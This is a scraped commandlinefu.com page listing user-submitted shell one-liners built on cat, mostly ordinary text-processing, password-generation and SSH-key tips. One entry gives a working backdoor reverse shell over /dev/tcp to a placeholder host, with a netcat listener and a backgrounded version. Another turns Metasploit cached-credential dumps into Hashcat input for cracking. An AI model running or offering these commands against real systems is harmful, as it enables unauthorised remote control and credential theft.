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Commands using cat

Terminal - Commands using cat - 380 results

cat files |sed 's/.$.*$/\1/'

2012-12-06 22:59:16

User: bugmenot

Functions: cat sed

-5

Up
Down

Remove the first character of each line in a file

http://www.ivorde.ro/How_to_remove_first_last_character_from_a_string_using_SED-75.html

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat myfile | tee dest1 dest2 > /dev/null 2>&1

2012-11-28 09:51:25

User: sergeylukin

Functions: cat tee

Up
Down

Copy file to multiple destinations

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

while sleep 1; do clear; cat /tmp/whatever.cue; done

2012-11-26 08:02:03

User: sergeylukin

Functions: cat sleep

Tags: watch monitor

Up
Down

Monitor file contents that is being overwritten regularly

Watch file's contents that is getting overwritten

cd ~/.msf4/loot && cat *mscache* | cut -d '"' -f 2,4 | sed s/\"/\:/g | tr -cd '\11\12\40-\176' | grep -v Username | cut -d : -f 1,2 | awk -F':' '{print $2,$1}' | sed 's/ /:/g' > final.dcc.hash

2012-11-26 02:10:08

User: purehate

Functions: awk cat cd cut grep sed tr

Tags: metasploit hashcat

Up
Down

Convert metasploit cachedump files to Hashcat format for cracking

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat dump.sql | sed -n -e '/Table structure for table .table1./,/Table structure for table .table2./p'

2012-11-22 23:54:04

User: infojunkie

Functions: cat sed

Tags: mysql sed

-1

Up
Down

Extract single table from a MySQL dump

Given a dump.sql file, extract table1 creation and data commands. table2 is the one following table1 in the dump file. You can also use the same idea to extract several consecutive tables.

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

2012-11-16 02:48:01

User: somaddict

Functions: cat exec read

Tags: Security netcat loop nc hack node backdoor

Up
Down

Reverse Backdoor Command Shell using Netcat

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

genpassdeep() { cat /dev/urandom | tr -dc [:alnum:] | head -c64 | whirlpooldeep; echo; }

2012-11-11 19:19:29

User: malathion

Functions: cat head tr

Tags: Security password sha256 /dev/urandom md5deep whirlpool

-2

Up
Down

Create a secure password using /dev/urandom and whirlpool

/dev/urandom relies on operator input to set the random seed. By itself, this may not contain enough random bits to produce high entropy output, especially if the system was recently restarted. Therefore, key stretching through a hash reduces the risk of using low-entropy output as a security key.

diff -u <(ssh -t user@host1 sudo cat /dir1/file1) <(ssh -t user@host2 sudo cat /dir2/file2)

2012-11-09 09:12:56

User: moosaka

Functions: cat diff ssh sudo

Up
Down

neat diff of remote files owned by root on different systems

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cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 18 | head -1 | python -c "import sys,crypt; stdin=sys.stdin.readline().rstrip('\n'); print stdin;print crypt.crypt(stdin)"

2012-11-09 00:40:22

User: cnyg

Functions: cat fold head python tr

Tags: bash password python sha512

Up
Down

Generate a 18 character password, print the password and sha512 salted hash

Generate a 18 character password from character set a-zA-Z0-9 from /dev/urandom, pipe the output to Python which prints the password on standard out and in crypt sha512 form.

genpassdeep() { cat /dev/urandom | tr -dc [:alnum:] | head -c64 | sha256deep; echo; }

2012-11-09 00:33:22

User: malathion

Functions: cat head tr

Tags: Security password sha256 /dev/urandom md5deep

-1

Up
Down

Create a secure password using /dev/urandom and sha256

cat file.txt | grep -v /$ > newfile.txt

2012-10-31 01:55:07

User: bugmenot

Functions: cat grep

-5

Up
Down

Remove lines ending or trailing at least one slash (/)

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat .ssh/id_dsa.pub | ssh <HOST> "mkdir -p .ssh && tee -a .ssh/authorized_keys"

2012-10-11 12:12:45

User: Valise

Functions: cat ssh

-1

Up
Down

Copy public ssh Id to new host withtout bash redirection

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat /tmp/commit_list | { while read old_commit ; do msg="`git log --pretty=oneline $old_commit'^'..$old_commit | sed 's/[0-9a-f]* //' | sed 's/[^A-Za-z0-9]/./g'`"; git log --pretty=oneline HEAD@'{100}'..HEAD | grep "$msg" ; done ; }

2012-10-11 11:06:40

User: plexus

Functions: cat grep read

Up
Down

find git commits by description

Given a file with the format of 'git log --pretty=short', search in last 100 commits for one with the same description. I used this when after a rebase I had to find out the new commit ids. The second sed replaces all special characters with dots so they don't mess up the grep later on.

cat log | perl -ne 'use POSIX; s/([\d.]+)/strftime "%y-%m-%d %H:%M:%S", localtime $1/e,print if /./'

2012-09-19 06:38:31

User: bs

Functions: cat perl

Tags: time unixtime human-readable timet

Up
Down

convert unixtime to human-readable

works where perl works, because the awk version is gnu awk only.

pdftk pg_000{1..9}.pdf cat output MyFile.pdf

2012-08-27 08:57:00

User: eastwind

Functions: cat

Up
Down

merge pdf using bash brace exansion

merge pdf from pg_0001.pdf until pg_0009.pdf into MyFile.pdf

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login

2012-08-17 12:31:51

User: xenomuta

Functions: bash cat grep sed

Tags: history bash bash_history commandlinefu.com favourites

Up
Down

run shell with your commandlinefu.com's favourites as bash_history

This makes your commandlinefu.com's favorites appear as most recent commands in your history.

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat /dev/urandom|od -t x1|awk 'NR > line { pos=int(rand()*15)+2;printf("%s",$pos);line=NR+(rand()*1000);digits = digits+2 } digits == 64 { print("\n");exit }'

2012-08-14 19:02:00

User: jetdillo

Functions: awk cat exit od

Tags: Os X Linux awk bsd random od /dev/urandom

Up
Down

extracts 64 bytes of random digits from random lines out of /dev/random sent to stdio

Use this the next time you need to come up with a reasonably random bitstring, like for a WPA/WPA2 PSK or something. Takes a continuous stream of bytes coming from /dev/urandom, runs it through od(1), picking a random field ($0 and $1 excluded) from a random line and then prints it.

cat index.html | grep -o '<a .*href=.*>' | sed -e 's/<a /\n<a /g' | sed -e 's/<a .*href=['"'"'"]//' -e 's/["'"'"'].*$//' -e '/^$/ d'

2012-08-06 10:31:38

User: crisboot

Functions: cat grep sed

Up
Down

Extract URLs from all anchors inside an HTML document with sed and grep

Extract all href links from an HTML document with sed and grep

cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null

2012-07-29 00:42:16

User: bugmenot

Functions: cat dd

Up
Down

Limit the transfer rate and size of data over a pipe

This example will close the pipe after transferring 100MB at a speed of 3MB per second.

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

2012-07-18 04:41:55

User: unixmonkey37839

Functions: cat ssh

Up
Down

Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"

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cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

2012-07-18 04:41:54

User: unixmonkey37839

Functions: cat ssh

Up
Down

Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"

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cat .ssh/id_rsa.pub | ssh user@server 'cat >> ~/.ssh/authorized_keys2'

2012-07-12 15:42:10

User: er0k

Functions: cat ssh

-4

Up
Down

copy public key

for passwordless login

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cat ~/.bash_history | perl -lane 'if($F[0] eq "sudo"){$hash{$F[1]}++}else{$hash{$F[0]}++};$all++;END {@top = map {[$_, $hash{$_}]} sort {$hash{$b}<=>$hash{$a}} keys %hash;printf("%10s%10d%10.2f%%\n", $_->[0],$_->[1],$_->[1]/$all*100) for @top[0..9]}'

2012-07-02 09:38:06

User: vinian

Functions: cat perl sort

Up
Down

top ten shell command in bash shell

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cat file.txt > /dev/null

2012-06-26 18:34:12

User: ankush108

Functions: cat

Tags: error stdout messages stdou dev/null

Up
Down

Suppress standard output using > /dev/null

This will be very helpful when you are debugging shell scripts, where

you don?t want to display the echo statement and interested in only

looking at the error messages. Similarly use 2> to supress error messages

diff <(ssh user@host cat /path/to/remotefile) /path/to/localfile

2012-06-16 10:24:48

User: gburiola

Functions: cat diff ssh

Up
Down

Compare a remote file with a local file

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